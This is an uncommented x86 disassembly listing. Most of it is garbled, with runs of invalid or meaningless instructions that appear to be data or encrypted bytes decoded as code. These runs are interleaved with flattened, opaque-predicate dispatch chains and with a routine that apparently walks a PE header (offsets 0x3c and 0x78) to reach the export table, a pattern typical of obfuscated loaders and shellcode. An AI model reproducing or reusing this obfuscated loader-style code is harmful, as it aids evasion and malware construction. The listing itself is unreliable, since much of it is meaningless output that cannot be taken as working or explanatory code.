or eax, 0x45f49cfa
jge 0x70b0e503
loop 0x70b0e540
jns 0x70b0e578
push esi
shr dword [ebx], 1
and ch, dl
int3
push edi
pop es
scasd eax, dword es:[edi]
adc esp, dword [esi]
nop
int3
inc ebp
lodsd eax, dword [esi]
cmc
mov bl, ah
cmc
mov cl, 0xcd
mov esi, 0x91aee143
xchg dword [edi - 0x1158415b], esi
movsd dword es:[edi], dword [esi]
mov esi, 0x9460eea7
out dx, al
pushal
xchg esp, eax
jb 0x70b0e4e8
lodsb al, byte [esi]
js 0x70b0e563
invalid
push 0xb462d3d6
jne 0x70b0e549
mov dh, 0x77
mov es, edi
lcall 0x369c, 0x11a5fe85
jbe 0x70b0e521
adc dword [esi + esi - 0x2e41408a], ebx
mov esi, 0x8e7e031a
mov esi, 0x31abed1
jle 0x70b0e4f7
sar dword [esi - 0x7181fce6], 1
pop edi
xchg esp, eax
mov esi, 0xbe627197
insb byte es:[edi], dx
pop ss
lahf
lahf
mov ebx, 0x329dd77a
push ds
jp 0x70b0e54e
popfd
xor bl, byte [esi]
shl dword [edx], cl
jecxz 0x70b0e575
xchg esp, eax
test ebp, 0xac8cd608
nop
int3
int 8
salc
mov word [eax + edx*4 + 0x5788aecc], gs
sti
xor eax, 0xebdd2ab9
adc byte [esi + 0x29], ch
cmp dword [eax - 0xca4bf07], ecx
xlatb
pop ds
sub eax, 0xbf805fb0
out 0xb9, al
xchg ecx, eax
rol byte [ecx - 0x1e], 1
das
add ecx, dword [esi + 0x5d]
mov al, byte [0xd546c827]
imul eax, dword [edx + eax + 0x34], 0x6636bbe
add dword [ebx + 0x60d7bfe], 0xffffff8e
les edi, [ebx - 0x693d58d7]
cmp byte [0x142eb81], dh
popal
cmp cl, byte [edi]
cmpsd dword [esi], dword es:[edi]
push esi
popal
invalid
mov esi, 0xfac8fcf9
sbb ah, byte [ebp - 0x2330235f]
xor cl, byte [ebx - 0x7770783a]
xor al, 0x55
jmp 0x343072bd
mov ebp, 0x9023fea0
int3
cmp cl, byte [eax]
sar dword [ebx + 0x6ef359f], cl
inc ebx
loopne 0x70b0eeb6
adc byte [0x29a97044], cl
nop
invalid
pop dword [edx]
mov edx, 0xf3fa931
ficomp dword [edi + 0x291592d3]
inc edi
sub al, 0x93
pop es
in al, dx
jbe 0x70b0ee98
xchg ebx, eax
add eax, 0x855ba9ef
insb byte es:[edi], dx
push ebx
push ebx
cmp dword [ecx + 0x7146e77d], ebx
out 0xde, al
invalid
inc ebp
mov ecx, 0x7319990b
invalid
popfd
add al, byte [ebx - 0x51ee09ad]
iretd
out 0x55, al
jne 0x70b0f357
xchg dl, cl
ja 0x70b0f379
out dx, eax
xor eax, 0x5b227cae
mov dword [0xed53e460], eax
fcom st(0)
add byte [eax + 0x77012abf], cl
inc ecx
mov dword [0xe7d47b5], eax
or byte [esi - 0x5a11c9ac], dl
inc ebx
push es
push cs
bound esp, qword [esi - 0x333d8588]
jle 0x70b0f418
in al, dx
int3
jns 0x70b0f3cf
sub dword [edx - 0x2cab379b], eax
cdq
xchg esi, eax
fsubr qword [ecx]
retf
jmp 0xa6077f0a
nop
jmp 0x70b0fdd1
nop
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x58], 0xec769
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0x5a647
mov dword [ebp - 0x5c], 0
mov ecx, dword [ebp - 0x58]
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0x146db0
or eax, dword [ebp - 0x64]
je 0x70b13758
mov edx, 0x146db0
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0xeb740
or eax, dword [ebp - 0x64]
je 0x70b109d4
mov edx, 0xeb740
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0xcb88b
or eax, dword [ebp - 0x64]
je 0x70b10ee3
mov edx, 0xcb88b
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0xc4ebd
or eax, dword [ebp - 0x64]
je 0x70b104c5
mov edx, 0xc4ebd
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x91401
or eax, dword [ebp - 0x64]
je 0x70b1282e
mov edx, 0x91401
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x8cf05
or eax, dword [ebp - 0x64]
je 0x70b11e10
mov edx, 0x8cf05
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x75355
or eax, dword [ebp - 0x64]
je 0x70b0ffb6
mov edx, 0x75355
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x7509d
or eax, dword [ebp - 0x64]
je 0x70b113f2
mov edx, 0x7509d
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x68e3a
or eax, dword [ebp - 0x64]
je 0x70b11901
mov edx, 0x68e3a
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x6837c
or eax, dword [ebp - 0x64]
je 0x70b1231f
mov edx, 0x6837c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x70b1375b
mov eax, dword [ebp - 0x68]
xor eax, 0x32c81
or eax, dword [ebp - 0x64]
je 0x70b1324c
mov eax, dword [ebp - 0x68]
xor eax, 0x5d6fe
or eax, dword [ebp - 0x64]
je 0x70b12d3d
jmp 0x70b1375b
cmp bh, byte [ebp + esi*4 + 0x50]
daa
lea esp, [edx - 0xdee74ff]
imul esp, esi, 0x32416013
or al, 0x33
mov eax, dword [0x905586cd]
add al, 0xd0
add eax, ecx
mov bl, 0xa1
test eax, 0xc1fba28b
lcall 0xd02e, 0x3d311652
arpl word [edx - 0x40], sp
fidiv word [eax - 0x3f2273cd]
dec edx
add dl, byte [esi + 0x47]
or ah, byte [0x1828c7a2]
push esi
cmc
push ecx
mov dword [edx - 0x64], ebp
dec edx
push ss
shr byte [edx - 0x3c], 0xbb
outsb dx, byte [esi]
mov ecx, 0x8a3e4e97
imul esp, eax, 0x55
dec edx
pop ds
nop
int3
cmc
pop esi
invalid
and eax, 0x77f2288e
sub ebx, dword [ecx + 0x4ea6f2e9]
sbb byte [edi], bl
push ebx
sub dword [esi - 0x3e75a8ff], edx
cmpsd dword [esi], dword es:[edi]
jo 0x70b10a24
sar dword [ecx], cl
mov ebx, 0x8e36a5ef
xor al, 0xb7
sal byte [esi + eax*4], 1
movsd dword es:[edi], dword [esi]
mov dword [ebx], eax
sbb al, byte [esi]
mov al, byte [0xc30a9c7]
mov edx, 0xc6bbac0
or eax, 0x1a9059a8
cld
xchg ebx, eax
loop 0x70b10a35
mov dl, 0x8b
mov word [ecx - 0x3d16bf83], es
pop eax
push ds
xchg dh, bl
jge 0x70b10a8b
dec edx
std
popfd
fmul st(5), st(0)
or bl, bh
adc ch, ch
nop
int3
and dword [ebx - 0x43], 0xc16f59f1
dec edi
fiadd dword [0x19897d2]
ficomp dword [edx - 0x27]
cli
test byte [edx], dh
stc
dec eax
push 0x3830531a
mov al, byte [0x581877fc]
hlt
sub dword [ebp - 0x88d8b72], eax
cmp byte [ebx], 0x91
mov dword [edx + 0x3ec3b1d4], edx
test dword [edx - 0x6d766ec5], 0x3ec3b1d4
idiv byte [edi]
lea eax, [eax + 0x5c]
pop eax
sub eax, dword [eax + 0x24]
sti
and byte [edi + eax*4 - 0x62], cl
jge 0x70b10a86
and al, byte [edi - 0x20]
push edx
retf
push 0x7930bfd
outsb dx, byte [esi]
invalid
sbb esp, dword [ebx]
and eax, 0x745b460
test eax, 0x1e2273ce
adc dh, byte [edi + 0x56]
cmpsb byte [esi], byte es:[edi]
add dh, al
push ebx
mov ch, 0x24
dec ecx
out dx, al
cmpsd dword [esi], dword es:[edi]
fldln2
xor esi, edi
salc
dec esp
lcall 0xb924, 0x3727f848
invalid
cli
cmpsb byte [esi], byte es:[edi]
ficomp word [edx + 0x26b8c58e]
int3
and al, 0xb3
sbb ah, byte [ebp + 0x37]
push esi
inc ecx
cmp byte [edx], bh
dec esi
loopne 0x70b11d4f
inc byte [esi]
mov ebp, 0xcc907423
push eax
or dword [ebx - 0x50], esp
inc esi
aam 0xd5
inc ebx
cdq
jmp 0x31497a9d
mov byte [0x5cf79e06], al
js 0x70b11cfd
std
mov cl, 0x3c
push es
ja 0x70b11cf6
hlt
inc edi
jmp 0x70b11d38
ret 0x56a
inc ebx
nop
int3
out dx, al
sub byte [eax], bl
jae 0x70b11d47
cmp eax, 0xf50aacd0
jmp 0x70b11d5c
mov dx, 0xd722
jo 0x70b11da6
adc edi, ebp
add ah, byte [ebp + 0x26]
xchg edx, eax
xchg dword [edi], esp
mov ah, byte [ebx + ebx*2 + 0x4c]
sal byte [0xc7823bbb], cl
and esi, dword [ebx]
xor eax, 0xd8e6daa1
pop ebp
xchg ecx, eax
pushal
adc esi, dword [esi + 0x50e4220e]
movsd dword es:[edi], dword [esi]
mov ecx, dword [edi + ecx*4 - 0x6d729f56]
mov eax, dword [0x1373fd35]
fmul st(1)
inc esi
stc
mov byte [0x13951b7f], al
add al, 0x36
adc byte [esi + 0xd], 0x12
adc cl, dh
mov dword [eax], ebp
cmpsb byte gs:[esi], byte es:[edi]
or al, dh
aam 0x12
aas
cli
sub dword [ecx], 0xfffffffd
invalid
mov edx, 0xfdca723d
mov edx, 0xf15dca94
mov word fs:[0x84b5fa4c], es
push ebp
xlatb
out 0x7a, eax
bound esp, qword [eax]
pop ebx
nop
int3
xchg ecx, eax
int1
adc al, 0xb9
push ss
js 0x70b12365
push esi
jo 0x70b122ff
push esp
mov ebp, 0x1ec38f89
jl 0x70b1232f
invalid
push esp
mov ebx, ebx
cdq
push cs
les esp, [edi - 0x6f]
or eax, 0xabd410e0
sahf
nop
int3
dec ecx
or eax, 0x6169c8c5
stc
add bl, bl
mov ecx, 0xdbd858ef
mov dh, 0x13
dec esi
ret 0x4e37
loope 0x70b12da6
shr edi, cl
cmp byte [edx + 0x2e], ah
mov cl, 4
test dword [eax + 0x43256ad0], esp
lodsd eax, dword [esi]
mov bl, 0x36
int3
xor byte [edx - 0x4b], 0x6d
xor cl, 0x4e
sbb eax, 0x8cb2fe94
in al, 0x60
push 0x283630bb
ret
sub bl, al
pop ebx
and al, 0xd5
scasd eax, dword es:[edi]
cvtps2pi mm1, xmm6
pop es
dec ecx
movsb byte es:[edi], byte [esi]
adc edi, dword [eax + ebx*8]
jg 0x70b12d94
or byte [esp + edi*8 + 0x2ab8ec37], al
xor ebp, dword [ebx - 0x68]
and dh, dl
mov ebx, 0xc6003d69
push eax
in eax, dx
jb 0x70b12e40
mov bl, 0x2b
invalid
shl cl, 1
xchg edx, eax
nop
int3
jge 0x70b12e3a
inc edx
mov ebp, 0xa19c8dd1
bound ebx, qword [edi - 0x7f29297a]
jecxz 0x70b12eaf
add ebp, dword [eax]
stosb byte es:[edi], al
ficom word [ebx]
int1
xor esp, dword [edx - 0x7a]
xor dl, byte [eax + 4]
ret 0x2229
movsd dword es:[edi], dword [esi]
sub eax, 0x75990fd4
mov esp, 0xbeb0520b
cmpsb byte [esi], byte es:[edi]
or ebx, esp
sub al, 0x25
invalid
pop esi
retf 0xc13c
nop
jmp 0x70b1375c
nop
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x3c]
mov ecx, eax
mov ebx, eax
sar ebx, 0x1f
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x78], 0xcc617
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x80], 0xdbe9f
mov dword [ebp - 0x7c], 0
mov ecx, dword [ebp - 0x78]
mov ebx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x80]
mov edx, dword [ebp - 0x7c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 0x88]
xor eax, 0x1a84b6
or eax, dword [ebp - 0x84]
je 0x70b18bcb
mov edx, 0x1a84b6
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xf360a
or eax, dword [ebp - 0x84]
je 0x70b15429
mov edx, 0xf360a
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xf0a93
or eax, dword [ebp - 0x84]
je 0x70b17ca1
mov edx, 0xf0a93
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xec645
or eax, dword [ebp - 0x84]
je 0x70b13ade
mov edx, 0xec645
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xe7ed2
or eax, dword [ebp - 0x84]
je 0x70b15938
mov edx, 0xe7ed2
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xc5d43
or eax, dword [ebp - 0x84]
je 0x70b186bf
mov edx, 0xc5d43
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x7b5e0
or eax, dword [ebp - 0x84]
je 0x70b15e47
mov edx, 0x7b5e0
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x6c281
or eax, dword [ebp - 0x84]
je 0x70b16865
mov edx, 0x6c281
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x6136b
or eax, dword [ebp - 0x84]
je 0x70b181b0
mov edx, 0x6136b
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x52f8c
or eax, dword [ebp - 0x84]
je 0x70b14a0b
mov edx, 0x52f8c
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x4fbb0
or eax, dword [ebp - 0x84]
je 0x70b17792
mov edx, 0x4fbb0
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x37a05
or eax, dword [ebp - 0x84]
je 0x70b17283
mov edx, 0x37a05
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x35f3f
or eax, dword [ebp - 0x84]
je 0x70b16d74
mov edx, 0x35f3f
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x23543
or eax, dword [ebp - 0x84]
je 0x70b16356
mov edx, 0x23543
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0x17ea7
or eax, dword [ebp - 0x84]
je 0x70b144fc
mov edx, 0x17ea7
mov eax, 0
cmp edx, dword [ebp - 0x88]
sbb eax, dword [ebp - 0x84]
jl 0x70b18bce
mov eax, dword [ebp - 0x88]
xor eax, 0xd41
or eax, dword [ebp - 0x84]
je 0x70b14f1a
mov eax, dword [ebp - 0x88]
xor eax, 0x17e6d
or eax, dword [ebp - 0x84]
je 0x70b13fed
jmp 0x70b18bce
or dword [edi + 0x108619b3], edx
arpl di, dx
cmp byte [edx - 0x4c9ff819], cl
dec edx
add byte [ebp - 0x62165153], bl
mov byte [0xbe23cefa], al
mov dh, 0xf0
rcr dword [edi], cl
add byte [ebp - 0x386091f], ah
int3
push ecx
ljmp 0x4de2
jmp 0x7d36d7ea
jmp 0x70b18bcf
lahf
mov byte [0x6e381c6e], al
outsb dx, byte [esi]
xor bh, dl
xor eax, 0xb2aa047c
xor bh, byte [edi + eax*2 - 0x368b98f8]
cmp dword [eax + 0x4c742df3], edx
push esp
jns 0x70b14a06
mov al, byte [edi - 0x325a796c]
jne 0x70b14a12
aaa
ret 0xa842
arpl word [ecx], di
xlatb
stosb byte es:[edi], al
push 0xffffffffffffffdc
aad 0xea
mov ebx, 0xe4884c9b
mov edx, 0x57ef8488
invalid
imul edx, dword [ecx - 0x6a], 0x45c11642
mov bl, 0xbf
jmp 0x70b14ed8
test dh, dh
imul ecx, dword [ecx + 0x7bf62fb3], 0x3d4b4bc
mov ch, 0x79
ret
and eax, 0x5154cc90
rol byte [ebp + 0x24d29cc7], 1
or al, 0x29
push ss
invalid
push es
jecxz 0x70b158da
and dword [ebp + 0x7d7dabb9], edi
add dword [edx], 0xc5c70213
jge 0x70b158da
mov dword [0x7dd403ad], eax
loopne 0x70b1597d
arpl word [esi - 0x60], si
xor ebp, dword [edi - 0x5b]
invalid
jnp 0x70b1598d
mov esp, dword [ecx]
ljmp 0x6658
int3
cmc
neg byte [edi + esi - 0xe]
inc esi
stosd dword es:[edi], eax
invalid
aam 0x6d
pop ecx
cli
sub al, 0xb0
cmpsb byte [esi], byte es:[edi]
invalid
or byte [edx], dh
inc ebx
sahf
sbb dword [esi], 0xffffffa2
sbb dword [edx + eax*8], edx
mov byte [0x18975bb1], al
salc
sbb al, 0xa1
or dword [edx + eax - 0x79], eax
loop 0x70b16829
sub eax, 0x40e0e7b2
xchg edi, eax
invalid
lodsd eax, dword es:[esi]
jbe 0x70b16835
jbe 0x70b16840
salc
invalid
cmpsb byte [esi], byte es:[edi]
invalid
out 0x26, al
and al, 0xd6
sub edx, dword [ebx - 0x35703070]
xor byte [edi + 0xc], ch
jnp 0x70b16844
outsd dx, dword [esi]
or al, 0x7b
add byte [esi + edi*2 - 0x6b81abff], ah
movsb byte es:[edi], byte [esi]
jle 0x70b16848
push esp
jle 0x70b167de
sub esi, dword [edx]
inc esi
mov dword [0x251ffaf1], eax
inc esp
mov eax, dword [0x4f1541ee]
invalid
jb 0x70b16819
insb byte es:[edi], dx
lea esi, [ebx]
sti
aad 0x3e
in eax, dx
int1
test byte [eax - 0x5d6bfd00], cl
mov byte [0x3965d3d4], al
sub al, byte [esi - 0x5c2bade2]
ret 0x9d91
and dword [ecx - 0x16], ebp
mov esp, 0x5a8a5c72
test byte [ebp + 0x43], dh
push edi
jge 0x70b16d9d
xor eax, 0xde352b37
loope 0x70b16dae
psllq mm2, qword [ebx]
ret
daa
inc ebx
lds ebx, [esi - 0x6b]
push ds
inc ebx
scasb al, byte es:[edi]
fisub word [ebp - 0x6efc81e7]
aaa
push ecx
movsd dword es:[edi], dword [esi]
xchg ebp, eax
jmp 0x70b16ddd
int3
cmp byte [ecx], al
adc dword [ebp + 0x64711497], esi
sahf
add edi, edx
loopne 0x70b16e24
sbb ebp, edi
sbb esi, dword [ebx]
add al, dh
movsd dword es:[edi], dword [esi]
cmp cl, byte [eax]
test byte [edi], ah
jp 0x70b16e31
pushfd
mov dl, 0xc3
and dword [esi - 0x27655fa7], esi
push ecx
ret 0xa159
jecxz 0x70b16dc9
pop ds
inc edi
mov esi, 0x89faeb0e
adc bh, bl
xor dword [esi + esi*8 + 0x64], ecx
or eax, 0x2c4570ec
insd dword es:[edi], dx
mul byte [esi + ebp + 0xd]
in al, dx
jo 0x70b16e7d
sub al, 0x6d
cmp ah, dl
adc dword [esi + 0x23], edx
ror dword [ebp + edi*2 + 0x72dbcefd], 1
jb 0x70b16e00
lahf
rol edx, cl
nop
jns 0x70b16e7f
movsb byte es:[edi], byte [esi]
out dx, eax
add byte [edx + 0x6f89aca7], bl
aam 0x8d
test al, 0xdc
or ebx, dword [eax]
adc al, 0x79
mov al, byte [0x5e3e64aa]
mov bl, 0x93
std
and al, 0x4f
pop edi
ljmp 0x5943
jb 0x70b16ebb
cwde
invalid
xchg esi, eax
cdq
inc edx
out dx, al
ret 0xf23b
cmpsd dword [esi], dword es:[edi]
push esi
add al, 0x15
pop edi
outsd dx, dword [esi]
test al, 0xac
add byte [ebp + edx*8 + 0x38], ah
or al, 0xb5
daa
mov ch, al
dec edx
sub dword [eax - 0x19], edx
sbb ebp, 0xffffffa1
movsd dword es:[edi], dword [esi]
jae 0xba5ea94
pop esp
cwde
jg 0x70b172a7
push ebx
test al, 0x96
or dword [ebx + ebx*4 + 8], eax
popal
aad 0xde
scasb al, byte es:[edi]
xchg edi, eax
pushal
call 0x8a136d73
dec ecx
shr dword [ebp + 0x3e], 1
mov dh, 0xe0
pop esp
xor eax, 0xa862503e
jne 0x70b172ea
push ds
test byte [ebx - 0x2f], dl
pop ecx
jge 0x70b17292
ror byte [ebx], cl
dec ebx
fsub st(4)
sbb eax, 0xa85c17ce
nop
int3
adc al, dh
mov ah, 0xbc
or al, 0xf9
dec ebp
mov dh, 0x1b
clc
mov ebp, 0x33bb1ba7
sub byte [edx], bl
mov eax, 0xf6b328ef
fcom qword [edi]
xchg ebx, eax
pop ss
dec eax
inc edi
or dh, al
add dword [esi - 0x153a2298], edi
adc dword [eax], eax
mov dl, 0xaf
mov al, 0x3c
invalid
mov esp, 0xad940ecb
wait
sub edi, dword [esi]
scasd eax, dword es:[edi]
rol byte [ebx + 0x28], 1
xchg ecx, eax
pop ebp
movsb byte es:[edi], byte [esi]
daa
pop esi
cmp esi, dword [edi*4 - 0x76efc4a7]
test dword [eax - 0x62], edx
or dword [eax], ecx
pushal
enter 0xffffffffffffb1c0, 0xfffffffffffffff0
mov edi, 0xef0044c1
pop edi
xlatb
ljmp 0xbdcb
lodsb al, byte [esi]
and dword [edx + 0x43], ebx
nop
nop
int3
sbb eax, 0xfe47c8c7
pushfd
or dh, byte [ecx]
add al, 0x2b
out 7, al
mov dh, 0xa8
movsb byte es:[edi], byte [esi]
je 0x70b17c7c
out dx, al
xchg esi, eax
sbb ecx, eax
jne 0x70b17c4d
mov esi, 0x59618e7b
jo 0x70b17c3f
pop es
sbb eax, 0x61bcb584
stosb byte es:[edi], al
std
imul ecx, dword [ebx + 0x5bc3dd2a], 0xffffffcf
xor eax, 0xf1f878b1
xchg esp, eax
dec edx
inc edx
inc edx
outsb dx, byte [esi]
xchg dword [ebx + eax*2 + 0xb], ebp
add al, 0x6d
movsb byte es:[edi], byte [esi]
xor eax, 0x4467a928
rcl byte [edx + 0x7dfc8cf9], 0xd5
aam 0xe9
adc byte [esi], ah
out 0xf5, al
wait
add eax, 0xe9cc9076
sldt word cs:[eax]
sbb ah, dl
jnp 0x70b17c47
in eax, dx
jecxz 0x70b17cb3
retf
aam 0x7f
mov esi, dword [ecx + 0x54]
inc ecx
hlt
jb 0x70b181c1
cmp dl, byte [esi - 0x44fbd68a]
inc ebp
mov byte [ebx + 0x1f], 0x30
sub dl, byte [ecx + 0x60a27236]
push edx
lodsd eax, dword [esi]
push 0x6bc5ddb9
int3
mov byte [0x68ad5260], al
mov ecx, 0xcc6bc5dd
sahf
pop ss
lea esp, [ebx]
ret 0x89c8
sub al, 1
test byte [ebx - 0x4c336f0c], 0xb5
adc dword [ebx - 0x59], esp
mov dword [0xd69320a5], eax
hlt
add al, 0x10
aaa
cmp eax, 0x4d2d6449
adc eax, 0x78a7e7f9
out dx, eax
sub al, 0x63
mov dl, al
push ss
jmp 0x70b1865d
nop
jmp 0x70b18bcf
nop
mov eax, dword [ebp - 0x6c]
add eax, 0x78
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x98], 0x72a2a
mov dword [ebp - 0x94], 0
mov dword [ebp - 0xa0], 0xae11e
mov dword [ebp - 0x9c], 0
mov eax, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x9c]
sub eax, dword [ebp - 0x98]
sbb edx, dword [ebp - 0x94]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
mov eax, dword [ebp - 0xa8]
xor eax, 0xe37c9
or eax, dword [ebp - 0xa4]
je 0x70b1af16
mov edx, 0xe37c9
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xd8d26
or eax, dword [ebp - 0xa4]
je 0x70b1cd70
mov edx, 0xd8d26
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xcd5e4
or eax, dword [ebp - 0xa4]
je 0x70b1f5e8
mov edx, 0xcd5e4
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xcc842
or eax, dword [ebp - 0xa4]
je 0x70b19fe9
mov edx, 0xcc842
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xcc789
or eax, dword [ebp - 0xa4]
je 0x70b1dc9d
mov edx, 0xcc789
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xca17b
or eax, dword [ebp - 0xa4]
je 0x70b1c861
mov edx, 0xca17b
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xc2cfa
or eax, dword [ebp - 0xa4]
je 0x70b1c352
mov edx, 0xc2cfa
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0xa9ded
or eax, dword [ebp - 0xa4]
je 0x70b1be43
mov edx, 0xa9ded
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x9807d
or eax, dword [ebp - 0xa4]
je 0x70b1d78e
mov edx, 0x9807d
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x96f68
or eax, dword [ebp - 0xa4]
je 0x70b19ada
mov edx, 0x96f68
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x7ffcb
or eax, dword [ebp - 0xa4]
je 0x70b1e1ac
mov edx, 0x7ffcb
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x77911
or eax, dword [ebp - 0xa4]
je 0x70b1a4f8
mov edx, 0x77911
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x62e98
or eax, dword [ebp - 0xa4]
je 0x70b190bc
mov edx, 0x62e98
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x5d3cc
or eax, dword [ebp - 0xa4]
je 0x70b1aa07
mov edx, 0x5d3cc
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x5acae
or eax, dword [ebp - 0xa4]
je 0x70b1ebca
mov edx, 0x5acae
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x577d6
or eax, dword [ebp - 0xa4]
je 0x70b1d27f
mov edx, 0x577d6
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x56183
or eax, dword [ebp - 0xa4]
je 0x70b1f0d9
mov edx, 0x56183
mov eax, 0
cmp edx, dword [ebp - 0xa8]
sbb eax, dword [ebp - 0xa4]
jl 0x70b20512
mov eax, dword [ebp - 0xa8]
xor eax, 0x54965
or eax, dword [ebp - 0xa4]
je 0x70b195cb
